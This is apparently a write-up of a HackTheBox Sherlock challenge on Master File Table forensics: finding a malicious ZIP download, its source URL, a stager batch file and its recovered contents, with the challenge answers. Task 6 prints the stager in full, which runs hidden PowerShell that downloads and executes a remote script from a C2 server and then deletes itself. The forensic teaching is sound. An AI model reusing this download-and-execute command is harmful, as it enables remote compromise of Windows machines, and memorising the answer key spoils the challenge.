Scenario:
In this Sherlock, you will become acquainted with MFT (Master File Table) forensics. You will be introduced to well-known tools and methodologies for analyzing MFT artifacts to identify malicious activity. During our analysis, you will utilize the MFTECmd tool to parse the provided MFT file, TimeLine Explorer to open and analyze the results from the parsed MFT, and a Hex editor to recover file contents from the MFT.

MFT Analysis:

The MFT (Master File Table) is a core component of the NTFS file system in Windows. The purpose of the MFT is to serve as a database that contains an entry for every file and directory that exists on the system. Each of these entries contain metadata about the file, including the file name, file path, creation date, modification date, and much more. This artifact is so valuable in forensics not only because of the large amounts of data it contains, but also because MFT entries often remain even after the original file was deleted. In this particular HackTheBox scenario, the MFT is the only artifact we have been given to work with. To extract information from the file, I used Eric Zimmerman’s tool, MFTECmd. This is a command line tool that can quickly extract information from an MFT file and convert it into a CSV file (which can be opened using Excel). From here, I used another Zimmerman tool called “Timeline Explorer” to open the CSV file. This allowed me to neatly view all the data in the file while being able to sort by file name, creation date, or any other metric I chose.

Task 1: Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link?

If we filter the data by extension to show only ZIP files, we can see a few zip files that were created on February 13th.

Since we are only focused on downloads, we can further isolate this down to only the files that exist in Mr. Stark’s “Downloads” directory.

From here, we really only have two options to choose from. The first option is “KAPE.zip”, and the second option is “Stage-20240213T093324Z-001.zip”. I say this, because if we look at the Parent Path column, we can see that the “invoice.zip” and “invoices.zip” files were unzipped from the “Stage-20240213T093324Z-001.zip”. As far as determining which file is likely to be the malicious one sent by the attacker, we can safely say it is the second option, “Stage-20240213T093324Z-001.zip”. It would be more common for an attacker to hide malware inside an innocuous file like an invoice rather than a forensic tool like KAPE.

Answer: Stage-20240213T093324Z-001.zip

Task 2: Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded?

Through further analysis of the MFT, we can find the Zone Identifier for the “Stage-20240213T093324Z-001.zip” file. A zone identifier is an NTFS alternate data stream that is attached to a file when it’s downloaded from an external source. This data stream stores metadata containing information about the file’s origin. One important piece of data found in the zone identifier is the Host URL, which is just the URL that the file was downloaded from. The Zone Identifier entry for the “Stage-20240213T093324Z-001.zip” file gives us this information.

Answer: https://storage.googleapis.com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser

Task 3: What is the full path and name of the malicious file that executed malicious code and connected to a C2 server?

If we filter by the MFT entries to view only the entries created around the same time that the “Stage-20240213T093324Z-001.zip” file was downloaded, we will find a suspicious file called “invoice.bat”. Batch files (with the extension, “.bat”) are files that contain scripts that can be executed on Windows machines. An invoice file that is a batch file is highly suspicious and could indicate a possible malicious payload.

Answer: C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat

Task 4: Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk?

This timestamp is included in the entry for the file, as can be seen from the screenshot in the previous task.

Answer: 2024-02-13 16:38:39

Task 5: Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3.

In the MFT, each record 1,024 bytes (one kilobyte). So we can find the offset of any MFT record by first taking its entry number (which is included in the record itself), and then multiplying it by 1,024. The entry number for the “invoice.bat” file is 23,436, so if we multiply that by 1,024, we get 23,998,464. But this is in decimal, we so need to convert this to hex since the question asks us for the hex offset. After converting this to hex, we get 16E3000.

Answer: 16E3000

Task 6: Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port.

As this task states, typically when a file is written to the disk, only the metadata is stored in the MFT, but not the actual data itself. Usually, the MFT entry just points to the clusters on the disk where the data is located. However, if a file is smaller that 1,024 bytes (the MFT record size), then all data can be stored entirely in the MFT record itself. This makes file recovery particularly easy, since the MFT record will usually remain even if the file is deleted (as long as the record has not been overwritten). Using the hex offset from the previous task, we can open the MFT file in a hex editor and navigate to that record to find the exact data. So the record containing the data for the “invoice.bat” file will be located from the hex 16E3000 to 16E3400.

This shows us the exact commands that were written in that batch file.

@echo off
start /b powershell.exe -nol -w 1 -nop -ep bypass "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://43.204.110.203:6666/download/powershell/Om1hdHRpZmVzdGF�W9uIGV0dw==') -UseBasicParsing|iex"
(goto) 2>nul & del "%~f0"

Form this, we can see that the script was written to start a hidden instance of PowerShell, download a PowerShell script from a remote host, execute that script, and then delete the script to cover their tracks. The command and control server (C2 server), is the remote host in which the attacker is trying to download the malicious script from.

Answer: 43.204.110.203:6666